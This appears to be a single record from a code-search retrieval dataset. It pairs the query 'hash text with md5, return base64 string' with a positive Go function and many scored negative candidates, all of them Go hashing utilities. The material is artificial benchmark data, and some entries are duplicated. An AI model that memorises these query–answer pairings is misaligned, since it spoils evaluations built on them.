c0a346949c556cefd4bd0730c3ec6935
Base64String hash text with md5, return base64 string
[ { "docid": "bbbe545a3689e7e232819826c9a3b9de", "score": "0.7227277", "text": "func Base64String(text string) string {\n\th := md5.New()\n\tio.WriteString(h, text)\n\treturn base64.StdEncoding.EncodeToString(h.Sum(nil))\n}", "title": "" } ]
[ { "docid": "211542b36c0ed128f194d820575d4cf3", "score": "0.73853934", "text": "func base64hash(input string) string {\n\tb := md5.Sum([]byte(input))\n\treturn base64.RawURLEncoding.EncodeToString(b[:])\n}", "title": "" }, { "docid": "b7f1cb0c6403d23d6c6e41c483299dee", "score": "0.72473174", "text": "func GetMD5Base64(bytes []byte) (base64Value string) {\n\tmd5Ctx := md5.New()\n\tmd5Ctx.Write(bytes)\n\tmd5Value := md5Ctx.Sum(nil)\n\tbase64Value = base64.StdEncoding.EncodeToString(md5Value)\n\treturn\n}", "title": "" }, { "docid": "02eae70df3e4e54f0df0da02d7301273", "score": "0.7223895", "text": "func GetMD5Hash(text string) string {\n\thasher := md5.New()\n\thasher.Write([]byte(text))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}", "title": "" }, { "docid": "02eae70df3e4e54f0df0da02d7301273", "score": "0.7223895", "text": "func GetMD5Hash(text string) string {\n\thasher := md5.New()\n\thasher.Write([]byte(text))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}", "title": "" }, { "docid": "36fa27f2f680d2d03c6450fedfab2bd4", "score": "0.72109264", "text": "func MD5(str string) string {\n\treturn hex.EncodeToString(MD5Bytes(str))\n}", "title": "" }, { "docid": "efaf3b9eaa2840be0dc0b73f5b61fb8c", "score": "0.7204868", "text": "func get_hash(text string) string {\n\thash := md5.Sum([]byte(text))\n\treturn hex.EncodeToString(hash[:])\n}", "title": "" }, { "docid": "85bdd79bcdb809bac037e4654cb8aa71", "score": "0.713573", "text": "func (stringUtil) Md5Hash(s string) string {\n\treturn fmt.Sprintf(\"%x\", md5.Sum([]byte(s)))\n}", "title": "" }, { "docid": "64944e5175d20fab696b7babe5a85270", "score": "0.71207595", "text": "func MD5(str string) string {\n\n\treturn MD5Bytes([]byte(str))\n}", "title": "" }, { "docid": "19a1b6474de2c9d5bca3618c92cae1d0", "score": "0.7013866", "text": "func CalculateMD5Hash(text string) (string, error) {\n\thasher := md5.New()\n\t_, err := hasher.Write([]byte(text))\n\tif err != nil {\n\t\treturn \"\", kverrors.Wrap(err, \"failed to calculate hash\")\n\t}\n\treturn hex.EncodeToString(hasher.Sum(nil)), nil\n}", "title": "" }, { "docid": "6680b5e54a400a2d315f61e925cb15aa", "score": "0.7013857", "text": "func HashWithMD5(input string) string {\n\thash := md5.Sum([]byte(input))\n\treturn hex.EncodeToString(hash[:])\n}", "title": "" }, { "docid": "7486d843701a555307098b5853bd43ab", "score": "0.6995456", "text": "func HashMD5(plaintext []byte) string {\n\treturn fmt.Sprintf(\"%x\", md5.Sum(plaintext))\n}", "title": "" }, { "docid": "bc4f1c490d2cf636277fe38e8d00fa80", "score": "0.6994982", "text": "func Md5(str string) string {\n\th := md5.New()\n\th.Write([]byte(str))\n\treturn hex.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "37ad5e9b42f1b6d6ec8666dc917073a9", "score": "0.6989748", "text": "func GetMD5Hash(input string) string {\n\thash := md5.Sum([]byte(input))\n\treturn hex.EncodeToString(hash[:])\n}", "title": "" }, { "docid": "0f084c6eebeeed765bfe53d6a2b606d1", "score": "0.6969374", "text": "func MD5Hash(m string) string {\n\n\tmByte := []byte(m + \"\\n\") // returns [16]byte\n\tmHashed := md5.Sum(mByte)\n\tmOut := hex.EncodeToString(mHashed[:])\n\n\treturn mOut\n}", "title": "" }, { "docid": "3bc77d7b6ec6512fab068abb0ce747f8", "score": "0.6936872", "text": "func MD5(str string) string {\n\thexStr := md5.Sum([]byte(str))\n\treturn hex.EncodeToString(hexStr[:])\n}", "title": "" }, { "docid": "3bc77d7b6ec6512fab068abb0ce747f8", "score": "0.6936872", "text": "func MD5(str string) string {\n\thexStr := md5.Sum([]byte(str))\n\treturn hex.EncodeToString(hexStr[:])\n}", "title": "" }, { "docid": "d6f32fb7fec355d17765d6cc8b9cad09", "score": "0.69208634", "text": "func Md5(str string) string {\r\n\tm := md5.New()\r\n\tio.WriteString(m, str)\r\n\treturn fmt.Sprintf(\"%x\", m.Sum(nil))\r\n}", "title": "" }, { "docid": "7db5248f9f0484892fbc08bfaed3ba37", "score": "0.68971276", "text": "func MD5(s string) string {\r\n\tvar aHash = crypto.Sum([]byte(s))\r\n\treturn hex.EncodeToString(aHash[:])\r\n}", "title": "" }, { "docid": "83590ccd76f42cc8aa0b08e5daa25f22", "score": "0.68911374", "text": "func Md5(str string) string {\n\th := md5.New()\n\tio.WriteString(h, str)\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "title": "" }, { "docid": "e20c4032d6e4925f3e0c18f87c5e3d3b", "score": "0.68596786", "text": "func GetMD5(data interface{}, base64Encode bool) string {\n\thash := md5.New()\n\n\tif str, ok := data.(string); ok {\n\t\tio.Copy(hash, strings.NewReader(str))\n\t} else if byteArray, ok := data.([]byte); ok {\n\t\tio.Copy(hash, bytes.NewReader(byteArray))\n\t} else if reader, ok := data.(io.Reader); ok {\n\t\tif f, ok := data.(io.Seeker); ok {\n\t\t\tf.Seek(0, 0)\n\t\t\tio.Copy(hash, reader)\n\t\t\tf.Seek(0, 0)\n\t\t} else {\n\t\t\tio.Copy(hash, reader)\n\t\t}\n\t} else {\n\t\tpanic(\"data type should be string or []byte or io.Reader.\")\n\t}\n\n\tif base64Encode {\n\t\treturn Base64Encode(hash.Sum(nil))\n\t}\n\n\treturn hex.EncodeToString(hash.Sum(nil))\n}", "title": "" }, { "docid": "4b4a5622fbed7155225add24fd5abd5e", "score": "0.6859391", "text": "func MD5String(s string) string {\n\th := md5.New()\n\tio.WriteString(h, s)\n\tcipher := h.Sum(nil)\n\treturn hex.EncodeToString(cipher)\n}", "title": "" }, { "docid": "62bebfa5b8aea31f39662bbc93a1d3a6", "score": "0.68577874", "text": "func md5Sum(text string) string {\n\tsumbytes := md5.Sum([]byte(text))\n\treturn fmt.Sprintf(\"%x\", sumbytes)\n}", "title": "" }, { "docid": "f696295b47a0dd8ec25bf6bb3a22aa28", "score": "0.682781", "text": "func getMD5Hash(str string) (error, string) {\n\th := md5.New()\n\t_, err := h.Write([]byte(str))\n\tif err != nil {\n\t\treturn err, \"\"\n\t}\n\treturn nil, hex.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "8a7892c8fa96faa9d5509d177553f94e", "score": "0.678309", "text": "func md5String(md5Sum [16]byte) string {\n\tmd5Str := fmt.Sprintf(\"% x\", md5Sum)\n\tmd5Str = strings.Replace(md5Str, \" \", \":\", -1)\n\treturn md5Str\n}", "title": "" }, { "docid": "6fb63968a9124c703dca0e4043942d72", "score": "0.67569673", "text": "func MD5(s string) string {\n\treturn md5Bytes([]byte(s))\n}", "title": "" }, { "docid": "f882171d2a8bbb5c36d6bba8963b8dd5", "score": "0.67567486", "text": "func Base64EncodeMd5(md5Digest string) (string, error) {\n\t// We'll get error if md5 contains non-hex characters. Catch\n\t// that below, when S3 tells us our md5 sum is invalid.\n\tmd5Bytes, err := hex.DecodeString(md5Digest)\n\tif err != nil {\n\t\tdetailedError := fmt.Errorf(\"Md5 sum '%s' contains invalid characters.\",\n\t\t\tmd5Digest)\n\t\treturn \"\", detailedError\n\t}\n\t// Base64-encoded md5 sum suitable for sending to S3\n\tbase64md5 := base64.StdEncoding.EncodeToString(md5Bytes)\n\treturn base64md5, nil\n}", "title": "" }, { "docid": "f882171d2a8bbb5c36d6bba8963b8dd5", "score": "0.67567486", "text": "func Base64EncodeMd5(md5Digest string) (string, error) {\n\t// We'll get error if md5 contains non-hex characters. Catch\n\t// that below, when S3 tells us our md5 sum is invalid.\n\tmd5Bytes, err := hex.DecodeString(md5Digest)\n\tif err != nil {\n\t\tdetailedError := fmt.Errorf(\"Md5 sum '%s' contains invalid characters.\",\n\t\t\tmd5Digest)\n\t\treturn \"\", detailedError\n\t}\n\t// Base64-encoded md5 sum suitable for sending to S3\n\tbase64md5 := base64.StdEncoding.EncodeToString(md5Bytes)\n\treturn base64md5, nil\n}", "title": "" }, { "docid": "43282253b4c869f1956d78c519bf58c1", "score": "0.6732914", "text": "func MD5InString(line []rune) *string {\n\treturn hexString(line, 32)\n}", "title": "" }, { "docid": "1dc43f35cd70fdc7b852b663cdcbe21d", "score": "0.67159224", "text": "func MD5(p []byte) string {\n\th := md5.New()\n\th.Write(p)\n\tcipher := h.Sum(nil)\n\treturn hex.EncodeToString(cipher)\n}", "title": "" }, { "docid": "88af42df49e09d20eeb4bdde5f6db8ac", "score": "0.66556436", "text": "func hash(str string) []byte {\n\th := md5.New()\n\th.Write([]byte(str))\n\treturn h.Sum(nil)\n}", "title": "" }, { "docid": "63ffc8d5a5127e8aa1657caa293f703d", "score": "0.6639489", "text": "func MD5(data []byte) string {\r\n\treturn fmt.Sprintf(\"%x\", md5.Sum(data))\r\n}", "title": "" }, { "docid": "9647dc43ad5c920df58180b11b0aa6a4", "score": "0.6637059", "text": "func CalMd5(str string) string {\n\treturn fmt.Sprintf(\"%x\", md5.Sum([]byte(str)))\n}", "title": "" }, { "docid": "ad67c1a5f37ea07aac4aaed8583245bf", "score": "0.66009486", "text": "func hash(data string) string {\n\toutput := md5.Sum([]byte(data))\n\treturn fmt.Sprintf(\"%x\", output)\n}", "title": "" }, { "docid": "b6411386b07ced1b4cd431aca33a91a0", "score": "0.659524", "text": "func HashWithMd5(value []byte) string {\n\thash := md5.New()\n\thash.Write(value)\n\treturn hex.EncodeToString(hash.Sum(nil))\n}", "title": "" }, { "docid": "05dc128747727b367a11ec79efb0bd92", "score": "0.65926725", "text": "func MD5(content string) string {\n\thash := md5.Sum([]byte(content))\n\treturn hex.EncodeToString(hash[:])\n}", "title": "" }, { "docid": "0118a8694d3810460e7e0e4b5a4a28d8", "score": "0.6584498", "text": "func Md5Raw(text string) []byte {\n\tctx := md5.New()\n\tctx.Write([]byte(text))\n\treturn ctx.Sum(nil)\n}", "title": "" }, { "docid": "a509d57346ab331242f8c1a1343346a6", "score": "0.65783405", "text": "func Md5Hash(val string) string {\n\th := md5.New()\n\th.Write([]byte(val))\n\toutput := h.Sum(nil)\n\treturn hex.EncodeToString(output)\n}", "title": "" }, { "docid": "3d53f798b5fd5714a1384da66ac26532", "score": "0.65767664", "text": "func GenerateMD5(data *string) string {\n\thasher := md5.New()\n\thasher.Write([]byte(*data))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}", "title": "" }, { "docid": "34ab680c46b9fe381ad82e5a2cbce073", "score": "0.6544544", "text": "func hash(b []byte) (sum string, err error) {\n\th := md5.New()\n\tif _, err = h.Write(b); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil)), nil\n}", "title": "" }, { "docid": "cf649926b77b74f837b537a98a382b8d", "score": "0.65411466", "text": "func (h *Hash) Md5() string {\n\treturn h.Sum(MD5)\n}", "title": "" }, { "docid": "f282b2a5bbe606fe480b98dd1c460b2b", "score": "0.653187", "text": "func MD5(data string) string {\n\thash := md5.New()\n\thash.Write([]byte(data))\n\tbyteSlice := hash.Sum(nil)\n\thex := fmt.Sprintf(\"%x\", byteSlice)\n\treturn hex\n}", "title": "" }, { "docid": "4c8cfe6d616e386fd1baa01758d63a2b", "score": "0.65244555", "text": "func MD5Encode(in string) (out string) {\n\tdata := []byte(in)\n\thas := md5.Sum(data)\n\tout = fmt.Sprintf(\"%x\", has)\n\treturn\n}", "title": "" }, { "docid": "4cd8de413ba1367f7cb40f24f691b7d5", "score": "0.6521772", "text": "func MD5Encryption(text string) string {\n\thash := md5.New()\n\tio.WriteString(hash, text)\n\treturn fmt.Sprintf(\"%x\", hash.Sum(nil))\n}", "title": "" }, { "docid": "114c632c6bd10238ffea83f7a46b59b0", "score": "0.64935565", "text": "func MD5(data []byte) string {\n\t_md5 := md5.New()\n\t_md5.Write(data)\n\treturn hex.EncodeToString(_md5.Sum([]byte(\"\")))\n}", "title": "" }, { "docid": "c21a613a47d4e5bb5c1f24e778ed5194", "score": "0.6473849", "text": "func EncodeMD5(str string) string {\n\tm := md5.New()\n\t_, _ = m.Write([]byte(str))\n\treturn hex.EncodeToString(m.Sum(nil))\n}", "title": "" }, { "docid": "c2b5d77d6288abf6ea7a90b63cae6f3e", "score": "0.6456861", "text": "func CalMd5FromBytes(str []byte) string {\n\treturn fmt.Sprintf(\"%x\", md5.Sum(str))\n}", "title": "" }, { "docid": "4fb419bea85f3b9dc6366304c805b00a", "score": "0.64484596", "text": "func HashMd5(value string) string {\n\n\t// Md5\n\tmd5 := md5.New()\n\tmd5.Write([]byte(value))\n\n\t// Format in hex\n\treturn fmt.Sprintf(\"%x\", md5.Sum(nil))\n}", "title": "" }, { "docid": "da82b2070109f922883053601df869ca", "score": "0.6442309", "text": "func Md5Str(salt string) func(string) string {\n\treturn func(s string) string {\n\t\th := md5.New()\n\t\tio.WriteString(h, s)\n\t\tio.WriteString(h, salt)\n\t\treturn hex.EncodeToString(h.Sum(nil))\n\t}\n}", "title": "" }, { "docid": "d244b6763e1c1d4d451cdf204c06d7e8", "score": "0.6409443", "text": "func MD5inHex(str string) string {\n\tb := md5.Sum([]byte(str))\n\treturn hex.EncodeToString(b[:])\n}", "title": "" }, { "docid": "c0474b8ab1d56223646ef794910705ea", "score": "0.6405366", "text": "func CalculateBase64(s string) string {\n\treturn base64.StdEncoding.EncodeToString([]byte(s))\n}", "title": "" }, { "docid": "a4472534b68b0534869081514ba25006", "score": "0.6399112", "text": "func MD5HashOrig(m string) string {\n\n\tmHashed := md5.Sum([]byte(m)) // returns [16]byte\n\tmOut := hex.EncodeToString(mHashed[:])\n\n\treturn mOut\n}", "title": "" }, { "docid": "f4f5622b48de82af2d7b2fa585bcb573", "score": "0.63890123", "text": "func hashString(s string) string {\n ret := \"\"\n h := fnv.New64a()\n h.Write([]byte(s))\n ret = strconv.FormatUint(h.Sum64(), 16)\n return ret\n}", "title": "" }, { "docid": "64d011d75e5f1cccb38737c8244fe7ff", "score": "0.6296019", "text": "func (i *ReminderImpl) getHash(reminder *Reminder) string {\n\tsumByteArray := md5.Sum([]byte(reminder.Message))\n\tsumString := hex.EncodeToString(sumByteArray[:])\n\treturn sumString\n}", "title": "" }, { "docid": "e9be1d5b62485b104460323b077a9201", "score": "0.6294052", "text": "func MD5(message string) (string, error) {\n\t/* #nosec */\n\th := md5.New()\n\t_, err := h.Write([]byte(message))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn hex.EncodeToString(h.Sum(nil)), nil\n}", "title": "" }, { "docid": "f901ffee833fe7324384506566cdba30", "score": "0.6278418", "text": "func md5hex(s string) string {\n\thash := md5.Sum([]byte(s))\n\treturn hex.EncodeToString(hash[:])\n}", "title": "" }, { "docid": "3f62c05e60dbb2a142e3051bee3ea205", "score": "0.62759835", "text": "func MD5Sum(b []byte) string {\n\treturn hashSum(b, md5.New())\n}", "title": "" }, { "docid": "230a7bebe3bbad4129603b7c40ef426b", "score": "0.6259043", "text": "func sha512Base64(input string) string {\n var hashedString [64]byte = sha512.Sum512([]byte(input))\n return base64.StdEncoding.EncodeToString(hashedString[:])\n}", "title": "" }, { "docid": "06fe62c845da169b07274d763ade5fc5", "score": "0.6237985", "text": "func (p *Point) MD5() string {\n\tx := p.hashstr()\n\treturn fmt.Sprintf(\"%x\", md5.Sum(x)) //nolint:gosec\n}", "title": "" }, { "docid": "2cd6ac3619e1386e2f6e0a79248c7cff", "score": "0.62295246", "text": "func makeHash(rawData string) string {\n\tdata := []byte(rawData)\n\thash := md5.Sum(data)\n\treturn hex.EncodeToString(hash[:])\n}", "title": "" }, { "docid": "f47b122c347f91e4f7534377e617b4ad", "score": "0.6171411", "text": "func HashString(content []byte) (hashstring string, err error) {\n\thash := sha256.Sum256(content)\n\thashstring = fmt.Sprintf(\"%x\", hash[:])\n\treturn\n}", "title": "" }, { "docid": "74fb59fbdcb66b76e25351999965b5d9", "score": "0.61694413", "text": "func h(data string) string {\n\tdigest := md5.New()\n\tdigest.Write([]byte(data))\n\treturn fmt.Sprintf(\"%x\", digest.Sum(nil))\n}", "title": "" }, { "docid": "a845be7c04256e0c26d8e9b522f0a66b", "score": "0.6165658", "text": "func MakeMD5String(s string) string {\n\tstringByte := []byte(s)\n\treturn fmt.Sprintf(\"%x\", md5.Sum(stringByte))\n}", "title": "" }, { "docid": "f54e1652ccf11b8eabf4d12c55c9abc8", "score": "0.61419415", "text": "func MD5(bs []byte) string {\n\th := md5.New()\n\th.Write(bs)\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "title": "" }, { "docid": "f250edcf0370c12850d32284d528b884", "score": "0.61364293", "text": "func MD5(k string) string {\n\th := md5.New()\n\t_, _ = h.Write([]byte(k))\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "title": "" }, { "docid": "ab0a59c2b00e5b6a98c63f8a76ebec3c", "score": "0.61219895", "text": "func MD5Sum(val interface{}) (string, error) {\n\tmd5Writer := md5.New()\n\tenc := bencode.NewEncoder(md5Writer)\n\tif err := enc.Encode(val); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%x\", md5Writer.Sum(nil)), nil\n}", "title": "" }, { "docid": "dba8b5b7ab8c47a2939c2107909549da", "score": "0.610386", "text": "func computeHash(value interface{}) string {\n\tb, err := json.Marshal(value)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tmd5Hash := md5.Sum(b)\n\treturn string(md5Hash[:])\n}", "title": "" }, { "docid": "3d88229c2a647f00577594fff31edf5d", "score": "0.60932076", "text": "func GenerateHash(stringToHash string, length int) string {\n\t// Create an MD5 hash and return however many characters the caller wants (note that the max is 32 for MD5)\n\treturn fmt.Sprintf(fmt.Sprintf(\"%%.%ds\", length), fmt.Sprintf(\"%x\", md5.Sum([]byte(stringToHash))))\n}", "title": "" }, { "docid": "f32e0b2355b53be7e862017f7d1c0fe2", "score": "0.6084066", "text": "func HashSHA256Base64(data string) string {\n h := sha256.New()\n h.Write([]byte(data))\n return base64.URLEncoding.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "957d607a6fd98b3ca10952cafa57e528", "score": "0.6073763", "text": "func hash(data string) string {\n\n\tvar originalBytes = []byte(data)\n\tvar sha512Hasher = sha512.New()\n \n\tsha512Hasher.Write(originalBytes)\n\tvar hashedBytes = sha512Hasher.Sum(nil)\n \n\t// Convert the hashed password to a base64 encoded string\n\tvar base64EncodedHash = base64.URLEncoding.EncodeToString(hashedBytes)\n\treturn base64EncodedHash\n}", "title": "" }, { "docid": "2731079d86823813b28ad28653a9d49f", "score": "0.60461634", "text": "func ConvertMD5(input string) string {\n\tmd5Ctx := md5.New()\n\tmd5Ctx.Write([]byte(input))\n\tcipherStr := md5Ctx.Sum(nil)\n\treturn hex.EncodeToString(cipherStr)\n}", "title": "" }, { "docid": "37c9ab5bd7deed465b47ad8068b49f3c", "score": "0.60441715", "text": "func calculatemd5(filePath string) (string, error) {\n\t//Initialize variable returnMD5String now in case an error has to be returned\n\tvar returnMD5String string\n\n\t//Open the passed argument and check for any error\n\tfile, err := os.Open(filePath)\n\tif err != nil {\n\t\treturn returnMD5String, err\n\t}\n\n\t//Tell the program to call the following function when the current function returns\n\tdefer file.Close()\n\n\t//Open a new hash interface to write to\n\thash := md5.New()\n\n\t//Copy the file in the hash interface and check for any error\n\tif _, err := io.Copy(hash, file); err != nil {\n\t\treturn returnMD5String, err\n\t}\n\n\t//Get the 16 bytes hash\n\thashInBytes := hash.Sum(nil)[:16]\n\n\t//Convert the bytes to a string\n\treturnMD5String = hex.EncodeToString(hashInBytes)\n\n\treturn returnMD5String, nil\n\n}", "title": "" }, { "docid": "c78b3822291d3a90d01dd9e58172c186", "score": "0.60291505", "text": "func (bm *BlockMatrix) hashOfString( DataStr string ) string {\n\n var HashStr string\n\n HashStr = \"\"\n\n if bm.HashAlgorithm == Sha256 {\n\n HashStr = fmt.Sprintf(\"%x\", sha256.Sum256([]byte(DataStr)))\n } else if bm.HashAlgorithm == Sha384 {\n\n HashStr = fmt.Sprintf(\"%x\", sha512.Sum384([]byte(DataStr)))\n } else if bm.HashAlgorithm == Sha512 {\n\n HashStr = fmt.Sprintf(\"%x\", sha512.Sum512([]byte(DataStr)))\n }\n\n return HashStr\n}", "title": "" }, { "docid": "fa3313b06d87dfa4c60fdf0291ca03ca", "score": "0.6006438", "text": "func main() {\n\tbyte_data_to_hash := []byte( `Example string to hash` )\n\t\n\tfmt.Print( \"MD5: \" )\n\tmd5_instance := md5.New()\n\tmd5_instance.Write( byte_data_to_hash )\n\tfmt.Println( hex.EncodeToString( md5_instance.Sum( nil ) ) )\n\t\n\tfmt.Print( \"SHA1: \" )\n\tsha1_instance := sha1.New()\n\tsha1_instance.Write( byte_data_to_hash )\n\tfmt.Println( hex.EncodeToString( sha1_instance.Sum( nil ) ) )\n\t\n\tfmt.Print( \"SHA256: \" )\n\tsha256_instance := sha256.New()\n\tsha256_instance.Write( byte_data_to_hash )\n\tfmt.Println( hex.EncodeToString( sha256_instance.Sum( nil ) ) )\n}", "title": "" }, { "docid": "67a0e7675a43ad318bed4e63da81d153", "score": "0.59896827", "text": "func fingerprintMD5(key string) (string, error) {\n\tpubKey, _, _, _, err := ssh.ParseAuthorizedKey([]byte(key))\n\tif err != nil {\n\t\tlogrus.Errorf(\"Couldn't parse pubKey: %#v\", pubKey)\n\t\treturn \"\", err\n\t}\n\tmd5sum := md5.Sum(pubKey.Marshal())\n\n\treturn rfc4716hex(md5sum[:]), nil\n}", "title": "" }, { "docid": "aeb4f8943b891d0ccd9e459187186f45", "score": "0.59875435", "text": "func MD5BySalt(src, salt string) string {\n hash := md5.New()\n io.WriteString(hash, src)\n io.WriteString(hash, salt)\n return hex.EncodeToString(hash.Sum(nil))\n}", "title": "" }, { "docid": "59f6438050436843633eebf2886fc741", "score": "0.59697676", "text": "func hashContents(b []byte) string {\n\th := md5.New()\n\t_, _ = h.Write(b)\n\tenc := base32.StdEncoding.WithPadding(base32.NoPadding)\n\treturn enc.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "97aa46dbc95022bc09baebb2c2874c12", "score": "0.59522426", "text": "func MD5(r io.Reader) ([]byte, int64, error) {\n\treturn Hash(md5.New(), r)\n}", "title": "" }, { "docid": "b6f56aa0200b1d38529b5b84ea738d76", "score": "0.5932402", "text": "func GetHash(name string) string {\n\treadsize := 64 * 1024\n\t// open file\n\tf, err := os.Open(name)\n\tif err != nil {\n\t\tfmt.Println(\"error\")\n\t}\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\tfmt.Println(\"error\")\n\t}\n\tsize := fi.Size()\n\tbuf := make([]byte, readsize)\n\tbuf1 := make([]byte, readsize)\n\tfor {\n\t\t// read a chunk\n\t\tn, err := f.Read(buf)\n\t\tif err != nil && err != io.EOF {\n\t\t\tfmt.Println(\"error\")\n\t\t}\n\t\tif n == 0 {\n\t\t\tbreak\n\t\t}\n\t\tf.Seek(size-65536, 0)\n\t\t_, err = f.Read(buf1)\n\t\tbuffer := append(buf, buf1...)\n\t\thasher := md5.New()\n\t\thasher.Write([]byte(buffer))\n\t\t//fmt.Println(hex.EncodeToString(hasher.Sum(nil)))\n\t\treturn hex.EncodeToString(hasher.Sum(nil))\n\t}\n\treturn \" \"\n}", "title": "" }, { "docid": "39f6d1aebcbaf658ad2aaf97cd520605", "score": "0.5919645", "text": "func MD5Crypt(password, salt, magic []byte) []byte {\n\td := md5.New()\n\n\td.Write(password)\n\td.Write(magic)\n\td.Write(salt)\n\n\td2 := md5.New()\n\td2.Write(password)\n\td2.Write(salt)\n\td2.Write(password)\n\n\tfor i, mixin := 0, d2.Sum(nil); i < len(password); i++ {\n\t\td.Write([]byte{mixin[i%16]})\n\t}\n\n\tfor i := len(password); i != 0; i >>= 1 {\n\t\tif i&1 == 0 {\n\t\t\td.Write([]byte{password[0]})\n\t\t} else {\n\t\t\td.Write([]byte{0})\n\t\t}\n\t}\n\n\tfinal := d.Sum(nil)\n\n\tfor i := 0; i < 1000; i++ {\n\t\td2 := md5.New()\n\t\tif i&1 == 0 {\n\t\t\td2.Write(final)\n\t\t} else {\n\t\t\td2.Write(password)\n\t\t}\n\n\t\tif i%3 != 0 {\n\t\t\td2.Write(salt)\n\t\t}\n\n\t\tif i%7 != 0 {\n\t\t\td2.Write(password)\n\t\t}\n\n\t\tif i&1 == 0 {\n\t\t\td2.Write(password)\n\t\t} else {\n\t\t\td2.Write(final)\n\t\t}\n\t\tfinal = d2.Sum(nil)\n\t}\n\n\tresult := make([]byte, 0, 22)\n\tv := uint(0)\n\tbits := uint(0)\n\tfor _, i := range md5_crypt_swaps {\n\t\tv |= (uint(final[i]) << bits)\n\t\tfor bits = bits + 8; bits > 6; bits -= 6 {\n\t\t\tresult = append(result, itoa64[v&0x3f])\n\t\t\tv >>= 6\n\t\t}\n\t}\n\tresult = append(result, itoa64[v&0x3f])\n\n\treturn append(append(append(magic, salt...), '$'), result...)\n}", "title": "" }, { "docid": "73f04254c5af8144ea871345df650e04", "score": "0.5915787", "text": "func SHA1Base64(data []byte) string {\n\treturn HashToBase64URL(crypto.SHA1, data)\n}", "title": "" }, { "docid": "4ed6a641cfb320fa3c168aadd2511a73", "score": "0.59061444", "text": "func (r *RequestContainer) Hash() string {\n\th := md5.New()\n\tio.WriteString(h, r.concatenate())\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "title": "" }, { "docid": "6b6c34617a06ed98d3bd3aa1685553db", "score": "0.5895981", "text": "func Hash(arr interface{}) string {\n\tvar arrBytes []byte\n\tjsonBytes, _ := json.Marshal(arr)\n\tarrBytes = append(arrBytes, jsonBytes...)\n\n\treturn fmt.Sprintf(\"%x\", md5.Sum(arrBytes))\n}", "title": "" }, { "docid": "8a31ab6ad3da42990bce0c24b6435bd7", "score": "0.58840907", "text": "func createHash(passphrase string) []byte {\n\thasher := md5.New()\n\thasher.Write([]byte(passphrase))\n\treturn hasher.Sum(nil)\n\t//return hex.EncodeToString(hasher.Sum(nil))\n}", "title": "" }, { "docid": "af8b9afa82ab793b815edb760480a54e", "score": "0.5868367", "text": "func Encode(s string) string {\n\th := md5.New()\n\th.Write([]byte(s))\n\treturn hex.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "e820a32219655decc744c6d5dbbc4b06", "score": "0.5846886", "text": "func xcodeDerivedDataHash(path string) (string, error) {\n\t// Suppress insecure crypto primitive warning: #nosec G401\n\thasher := md5.New()\n\tif _, err := hasher.Write([]byte(norm.NFD.String(path))); err != nil {\n\t\treturn \"\", err\n\t}\n\tresult := make([]byte, 28)\n\n\t// take the first 8 bytes of the hash with swapped byte order\n\tstartValue := binary.BigEndian.Uint64(hasher.Sum(nil))\n\tfor i := 13; i >= 0; i-- {\n\t\t// mod 26 (restricting to alphabetic) and add to 'a'\n\t\tresult[i] = byte(startValue%26) + 'a'\n\t\tstartValue /= 26\n\t}\n\n\t// Same operation on the last 8 bytes\n\tstartValue = binary.BigEndian.Uint64(hasher.Sum(nil)[8:])\n\tfor i := 27; i > 13; i-- {\n\t\tresult[i] = byte(startValue%26) + 'a'\n\t\tstartValue /= 26\n\t}\n\n\treturn string(result), nil\n}", "title": "" }, { "docid": "a240755f982077569f27b2475c2215b8", "score": "0.5839041", "text": "func hashString(s string) string {\n\treturn fmt.Sprintf(\"%x\", sha256.Sum256([]byte(s)))[0:8]\n}", "title": "" }, { "docid": "7415bb786d7356841b7834a3e38ca6ac", "score": "0.58316344", "text": "func generateHash(question string) string {\n\n\tnow := time.Now().UnixNano()\n\tt := strconv.FormatInt(now, 10)\n\ts := question + t\n\tbs := md5.New()\n\tbs.Write([]byte(s))\n\thash1 := hex.EncodeToString(bs.Sum(nil)[:3])\n\n\treturn hash1\n\n}", "title": "" }, { "docid": "48278b76620a5996078926ec82fae90c", "score": "0.5821526", "text": "func GenerateHash(text []byte) Identicon {\n\t// generate check sum from text\n\tcheckSum := md5.Sum(text)\n\t// return the Identicon object\n\treturn Identicon{\n\t\tname: string(text),\n\t\thash: checkSum,\n\t}\n}", "title": "" }, { "docid": "388f01b7a4f814e58fd61a55cb62be9d", "score": "0.5814958", "text": "func hash(args ...string) string {\n\th := md5.New()\n\tfor _, arg := range args {\n\t\tio.WriteString(h, arg)\n\t}\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "title": "" }, { "docid": "e6c98f3c58cc07bee8be830a6bcababd", "score": "0.579237", "text": "func H(data string) string {\n\tdigest := md5.New()\n\tdigest.Write([]byte(data))\n\treturn fmt.Sprintf(\"%x\", digest.Sum(nil))\n}", "title": "" }, { "docid": "8818881ad24bf3539822884a7b800595", "score": "0.5789445", "text": "func Hash(incoming string) string {\n\th64 := murmur3.New64()\n\th64.Write([]byte(incoming))\n\tresult := h64.Sum64()\n\treturn strconv.FormatUint(result, 36)\n}", "title": "" }, { "docid": "5d7514de4d3a1deaa331207e280b67ff", "score": "0.57825506", "text": "func Hash(args ...string) string {\n\th := md5.New()\n\tfor _, arg := range args {\n\t\tio.WriteString(h, arg)\n\t}\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "title": "" }, { "docid": "501577fab39cad521346375884271e5a", "score": "0.5775923", "text": "func (fh *FileHandler) MD5() string {\n\treturn fh.hashes[\"md5\"]\n}", "title": "" }, { "docid": "af7d88e9557592a64347758bb8a208c4", "score": "0.5752462", "text": "func HashString(text string) string {\n\treturn HashByte([]byte(text))\n}", "title": "" 